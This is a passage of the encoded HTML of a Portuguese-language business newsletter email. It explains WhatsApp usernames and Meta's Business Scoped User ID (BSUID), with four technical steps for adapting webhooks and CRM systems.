style=3D&quot;mso-table-lspace:0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=
=3D&quot;width:100%&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=3D&quot;max-widt=
h:600px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazonaws.com/image=
s/563535/News-Julho-%231.png&quot; style=3D&quot;display:block;height:auto;border:0;w=
idth:100%&quot; width=3D&quot;600&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/t=
r&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table class=3D&quot;row row-2&quot; align=3D&quot;center&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cel=
lpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-l=
space:0;mso-table-rspace:0;background-color:#000&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table cla=
ss=3D&quot;row-content stack&quot; align=3D&quot;center&quot; border=3D&quot;0&quot; cellpadding=3D&quot;0&quot; ce=
llspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0;mso-table=
-rspace:0;background-color:#000;border-radius:30px;color:#000;width:600px;m=
argin:0 auto&quot; width=3D&quot;600&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=3D&quot;column column-1&quot; width=
=3D&quot;100%&quot; style=3D&quot;mso-table-lspace:0;mso-table-rspace:0;font-weight:400;te=
xt-align:left;vertical-align:top&quot;&gt;&lt;table width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspa=
ce:0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;col-pad&quot; style=3D&quot;padding-bottom:=
10px;padding-left:10px;padding-right:10px;padding-top:10px&quot;&gt;
&lt;table class=3D&quot;paragraph_block block-1&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspa=
ce:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=
=3D&quot;padding-top:30px;padding-bottom:10px;padding-left:10px;padding-right:10=
px&quot;&gt;&lt;div style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helveti=
ca Neue',Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-s=
pacing:0;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=
=3D&quot;margin:0&quot;&gt;
O WhatsApp j=C3=A1 come=C3=A7ou a lan=C3=A7ar uma de suas atualiza=C3=A7=C3=
=B5es mais significativas para o ecossistema de neg=C3=B3cios: a ado=C3=A7=
=C3=A3o de &lt;span style=3D&quot;word-break: break-word; color: #d35800;&quot;&gt;&lt;strong&gt;=
Nomes de Usu=C3=A1rio (Usernames)&lt;/strong&gt;&lt;/span&gt;. Para o consumidor, a nov=
idade representa um salto em privacidade e conveni=C3=AAncia. Para as empre=
sas, especialmente as que operam via API Oficial, representa uma transforma=
=C3=A7=C3=A3o na arquitetura de dados e na forma como identificamos cliente=
s.&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-2&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div =
style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue',=
Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0;=
line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;margi=
n:0&quot;&gt;
Nesta edi=C3=A7=C3=A3o, vamos mergulhar no impacto do BSUID e no passo a pa=
sso t=C3=A9cnico para adaptar a sua opera=C3=A7=C3=A3o.&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;=
&lt;/table&gt;
&lt;table class=3D&quot;image_block block-3&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddin=
g=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0=
;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top:=
25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=
=3D&quot;max-width:464px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazona=
ws.com/images/563535/1.png&quot; style=3D&quot;display:block;height:auto;border:0;wid=
th:100%&quot; width=3D&quot;464&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;=
&lt;/table&gt;
&lt;table class=3D&quot;image_block block-4&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddin=
g=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0=
;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top:=
25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div style=3D&quot;max-width:580px&quot;&gt;&lt;=
img src=3D&quot;https://email-editor-production.s3.amazonaws.com/images/563535/W=
hatsApp%20Image%202026-06-30%20at%2014.08.23.jpeg&quot; style=3D&quot;display:block;h=
eight:auto;border:0;width:100%&quot; width=3D&quot;580&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D=
&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;table class=3D&quot;row row-3&quot; align=3D&quot;center&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cel=
lpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-l=
space:0;mso-table-rspace:0;background-color:#000&quot;&gt;
&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table class=3D&quot;row-content stack&quot; align=3D&quot;center&quot; border=
=3D&quot;0&quot; cellpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;m=
so-table-lspace:0;mso-table-rspace:0;border-radius:0;color:#000;width:600px=
;margin:0 auto&quot; width=3D&quot;600&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=3D&quot;column column-1&quot; widt=
h=3D&quot;100%&quot; style=3D&quot;mso-table-lspace:0;mso-table-rspace:0;font-weight:400;t=
ext-align:left;vertical-align:top&quot;&gt;&lt;table width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;col-pad&quot; style=3D&quot;padding-top:5p=
x&quot;&gt;
&lt;table class=3D&quot;paragraph_block block-1&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div =
style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue',=
Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0;=
line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;margi=
n:0&quot;&gt;Com os nomes de usu=C3=A1rio, as pessoas poder=C3=A3o ocultar seus n=
=C3=BAmeros de telefone. Para que a comunica=C3=A7=C3=A3o empresarial conti=
nue fluindo, a Meta introduziu o BSUID (Business Scoped User ID).&lt;/p&gt;&lt;/div&gt;=
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-2&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddin=
g=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0=
;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top:=
25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div style=3D&quot;max-width:600px&quot;&gt;&lt;=
img src=3D&quot;https://email-editor-production.s3.amazonaws.com/images/563535/C=
aptura%20de%20Tela%202026-06-30%20a%CC%80s%2014.20.06%20%281%29.png&quot; style=
=3D&quot;display:block;height:auto;border:0;width:100%&quot; width=3D&quot;600&quot; alt=3D&quot;&quot; t=
itle=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-3&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div =
style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue',=
Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0;=
line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;margi=
n:0&quot;&gt;
O BSUID =C3=A9 um c=C3=B3digo =C3=BAnico gerado automaticamente, atrelado a=
o Portf=C3=B3lio Empresarial (Gerenciador de Neg=C3=B3cios) da sua empresa.=
 Se um usu=C3=A1rio conversar com a sua empresa, voc=C3=AA receber=C3=A1 um=
 BSUID.&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-4&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div =
style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue',=
Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0;=
line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;margi=
n:0&quot;&gt;
Se ele conversar com a concorr=C3=AAncia, a concorr=C3=AAncia receber=C3=A1=
 um BSUID completamente diferente. Isso garante a privacidade do usu=C3=A1r=
io, mas exige que os sistemas corporativos (CRMs, plataformas de atendiment=
o, automa=C3=A7=C3=B5es) se adaptem para usar essa nova chave prim=C3=A1ria=
 em seus webhooks.&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-5&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddin=
g=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0=
;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top:=
25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=
=3D&quot;max-width:480px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazona=
ws.com/images/563535/2_3.png&quot; style=3D&quot;display:block;height:auto;border:0;w=
idth:100%&quot; width=3D&quot;480&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/t=
r&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-6&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div =
style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue',=
Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0;=
line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;margi=
n:0&quot;&gt;Empresas de diferentes tamanhos poder=C3=A3o adotar usernames, facilit=
ando a jornada de descoberta da marca.&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-7&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div =
style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue',=
Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0;=
line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;margi=
n:0&quot;&gt;
Assim como os consumidores, as marcas tamb=C3=A9m ter=C3=A3o a oportunidade=
 de registrar seus pr=C3=B3prios Usernames (ex: @SuaEmpresa). Isso criar=C3=
=A1 novas din=C3=A2micas de descobrimento org=C3=A2nico e campanhas omnicha=
nnel, onde o cliente simplesmente busca pelo nome da marca no app, sem prec=
isar adicionar um n=C3=BAmero aos contatos.&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-8&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div =
style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue',=
Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0;=
line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;margi=
n:0&quot;&gt;=C3=89 importante destacar que a rela=C3=A7=C3=A3o =C3=A9 de um para u=
m: cada n=C3=BAmero de telefone suporta apenas um =C3=BAnico nome de usu=C3=
=A1rio.&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-9&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpa=
dding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lsp=
ace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div =
style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue',=
Helvetica,Arial,sans-serif;font-size:18px;font-weight:400;letter-spacing:0;=
line-height:1.2;text-align:center;mso-line-height-alt:22px&quot;&gt;&lt;p style=3D&quot;mar=
gin:0&quot;&gt;
&lt;span style=3D&quot;word-break: break-word; color: #d35800;&quot;&gt;&lt;strong&gt;Quer saber =
como reservar o username da sua empresa no Gerenciador do WhatsApp, no Meta=
 Business Suite? Assista ao v=C3=ADdeo abaixo:&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/t=
d&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;button_block block-10&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpadd=
ing=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspac=
e:0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; align=3D&quot;center&quot;&gt;
&lt;a href=3D&quot;https://t.rdsv2.net/ls/click?upn=3Du001.MQGdmfoRLg23zMTeIkeByYNf=
VJr-2Ftdt0nkIki-2By75y7YowVm-2BgGp5QqMJTo9lxZfcMFMrJlei0nxzSOLvyi261SCPHI7q=
F3AAbH1bewWXOKsH9XthCe9M2ImHsrMV-2FvO-2FezVQwCZoA1GSn-2FInNLQngPkApmaQER2TM=
Tct-2FTIFE2PLMU7dCBjbj1W0YOW9XFSSToW_fylF09WDx4VRLHs1TE6by0lBT3OrszeOW3G9NO=
miwoGU-2F1VeiQuQ0lYpqo2zrBvgBSrD2YO-2BKUge6hdbmY6lBt4Myj3-2Fikgdj8IVhyyU5DM=
tADp8HRLbhuNenybMDMZ067Vz8DZ1yW52SZ0l4N7EG-2FPPyY6jW8S57ctquKz-2Bwz9-2BAXeX=
qm46ul60SmLQuQtxClTVR7nxHEbg9nxJvawLieH5NGJ9N-2FpQCL7QyYv4XcFO3cbH-2BqDpVHv=
lqbwMKS9YxpSpTvCRtPwXj48eWWGlthj64HUovstoBJyGLr6WAbZvhxiuhCBllq3w8Z6M3BqKKW=
4P7sepKUx9CZc8LBkbVzBzDIvFGLLX1FCO9-2BLeJenfpJaKMx-2F0Ruempz13UL7qMlfBAo-2B=
ToJy-2F6aSCE4l8HyzptzKx0RvzxeMwpcdjJCQjJHyvyOeTPQn-2FJoF2PEMdE5iXFMR3KpXZ5T=
E5CiJ-2FdRXs7Pv9h8Fpw5GEZ6IRbVvuEIws-2Byk-2FCsZFRlN0XpUq8er-2FqgPu6RwITGOOL=
hBhP62f4tS-2BojaW93Bo0tGmQgKlgSVZzraF5EZAdrYxTqAYTzRF6nZCtKf4bFtFGPr3kH2yqF=
aGzCU-2BmrP1mIbJgLnQbm8VZRoc7GR98qOuTb0QDubSHIlIqLdDFF1nqrHByZxdbGLmwyh37PH=
4zreIVX2Vv0g8alRDBMWwNFov2wlN&quot; target=3D&quot;_blank&quot; style=3D&quot;color:#ffffff;tex=
t-decoration:none;&quot;&gt;&lt;!--[if mso]&gt;
&lt;v:roundrect xmlns:v=3D&quot;urn:schemas-microsoft-com:vml&quot; xmlns:w=3D&quot;urn:schem=
as-microsoft-com:office:word&quot;  href=3D&quot;https://www.youtube.com/watch?v=3DBP=
924qHpnLI&quot;  style=3D&quot;height:51px;width:261px;v-text-anchor:middle;&quot; arcsize=
=3D&quot;69%&quot; fillcolor=3D&quot;#d35000&quot;&gt;
&lt;v:stroke dashstyle=3D&quot;Solid&quot; weight=3D&quot;0px&quot; color=3D&quot;#d35000&quot;/&gt;
&lt;w:anchorlock/&gt;
&lt;v:textbox inset=3D&quot;0px,0px,0px,0px&quot;&gt;
&lt;center dir=3D&quot;false&quot; style=3D&quot;color:#ffffff;font-family:Arial, sans-serif;=
font-size:18px&quot;&gt;
&lt;![endif]--&gt;
&lt;span class=3D&quot;button&quot; style=3D&quot;background-color: #d35000; border-bottom: 0=
px solid transparent; border-left: 0px solid transparent; border-radius: 35=
px; border-right: 0px solid transparent; border-top: 0px solid transparent;=
 color: #ffffff; display: inline-block; font-family: 'Open Sans', 'Helvetic=
a Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 400; m=
so-border-alt: none; text-align: center; width: 45%; word-break: keep-all; =
letter-spacing: normal;&quot;&gt;&lt;span class=3D&quot;btn-pad&quot; style=3D&quot;word-break: break=
-word; padding-left: 15px; padding-right: 15px; padding-top: 15px; padding-=
bottom: 15px; display: block;&quot;&gt;&lt;span style=3D&quot;word-break: break-word; line-=
height: 21.599999999999998px;&quot;&gt;&lt;strong&gt;CLIQUE AQUI&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/=
span&gt;
&lt;!--[if mso]&gt;&lt;/center&gt;&lt;/v:textbox&gt;&lt;/v:roundrect&gt;&lt;![endif]--&gt;&lt;/a&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-11&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddi=
ng=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:=
0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top=
:25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=
=3D&quot;max-width:450px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazona=
ws.com/images/563535/3_3.png&quot; style=3D&quot;display:block;height:auto;border:0;w=
idth:100%&quot; width=3D&quot;450&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/t=
r&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-12&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-ls=
pace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div=
 style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue'=
,Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0=
;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;Segundo especialistas da pr=C3=B3p=
ria Meta, a adequa=C3=A7=C3=A3o t=C3=A9cnica deve ser dividida em quatro gr=
andes etapas:&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;
&lt;strong&gt;&lt;span style=3D&quot;word-break: break-word; color: #d35800;&quot;&gt;1. &lt;/span&gt;&lt;=
/strong&gt;Recepcionar o BSUID: Preparar seus webhooks para ler essa nova stri=
ng que j=C3=A1 est=C3=A1 sendo entregue nos testes.&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;
&lt;strong&gt;&lt;span style=3D&quot;word-break: break-word; color: #d35800;&quot;&gt;2.&lt;/span&gt;&lt;/=
strong&gt; Guardar o BSUID no banco de dados: Considerado o maior desafio (cer=
ca de 80% do esfor=C3=A7o t=C3=A9cnico). =C3=89 preciso associar essa nova =
chave ao hist=C3=B3rico de clientes que voc=C3=AA j=C3=A1 possui em seu CRM=
.&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;
&lt;strong&gt;&lt;span style=3D&quot;word-break: break-word; color: #d35800;&quot;&gt;3. &lt;/span&gt;&lt;=
/strong&gt;Enviar mensagens usando o BSUID: Ajustar as requisi=C3=A7=C3=B5es d=
e sa=C3=ADda da API para utilizar o BSUID como destino, caso o n=C3=BAmero =
de telefone n=C3=A3o esteja dispon=C3=ADvel.&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;p style=3D&quot;margin:0&quot;&gt;
&lt;strong&gt;&lt;span style=3D&quot;word-break: break-word; color: #d35800;&quot;&gt;4. &lt;/span&gt;&lt;=
/strong&gt;Requisitar o telefone (Opcional): Implementar o uso do novo bot=C3=
=A3o interativo &quot;Request Contact&quot; em templates de utilidade ou marketing, c=
aso sua opera=C3=A7=C3=A3o exija ativamente o telefone do cliente para cada=
stros externos.&lt;/p&gt;
&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-13&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddi=
ng=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:=
0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top=
:25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=
=3D&quot;max-width:360px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazona=
ws.com/images/563535/4_3.png&quot; style=3D&quot;display:block;height:auto;border:0;w=
idth:100%&quot; width=3D&quot;360&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/t=
r&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-14&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-ls=
pace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div=
 style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue'=
,Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0=
;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;O n=C3=BAmero de telefone n=C3=A3o=
 vai desaparecer completamente. Ele continuar=C3=A1 vis=C3=ADvel e necess=
=C3=A1rio em algumas situa=C3=A7=C3=B5es:&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;&lt;span style=3D&quot;wo=
rd-break: break-word; color: #ff5701;&quot;&gt;-&lt;/span&gt; Usu=C3=A1rios que decidirem=
 n=C3=A3o adotar o username.&lt;/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;&lt;span style=3D&quot;wo=
rd-break: break-word; color: #ff5701;&quot;&gt;-&lt;/span&gt; Contatos antigos com os qua=
is sua empresa interagiu nos =C3=BAltimos 30 dias ou que est=C3=A3o salvos =
na nova funcionalidade de &quot;Agenda de Contatos&quot; (Contact Book) fornecida pel=
a Meta.&lt;/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0&quot;&gt;
&lt;span style=3D&quot;word-break: break-word; color: #ff5701;&quot;&gt;- &lt;/span&gt;Mensagens =
de Autentica=C3=A7=C3=A3o (OTP): C=C3=B3digos de seguran=C3=A7a e senhas co=
ntinuar=C3=A3o exigindo o n=C3=BAmero de telefone obrigatoriamente.&lt;/p&gt;
&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-15&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddi=
ng=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:=
0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top=
:25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=
=3D&quot;max-width:450px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazona=
ws.com/images/563535/5_2.png&quot; style=3D&quot;display:block;height:auto;border:0;w=
idth:100%&quot; width=3D&quot;450&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/t=
r&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-16&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-ls=
pace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;
&lt;div style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica N=
eue',Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spaci=
ng:0;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;=
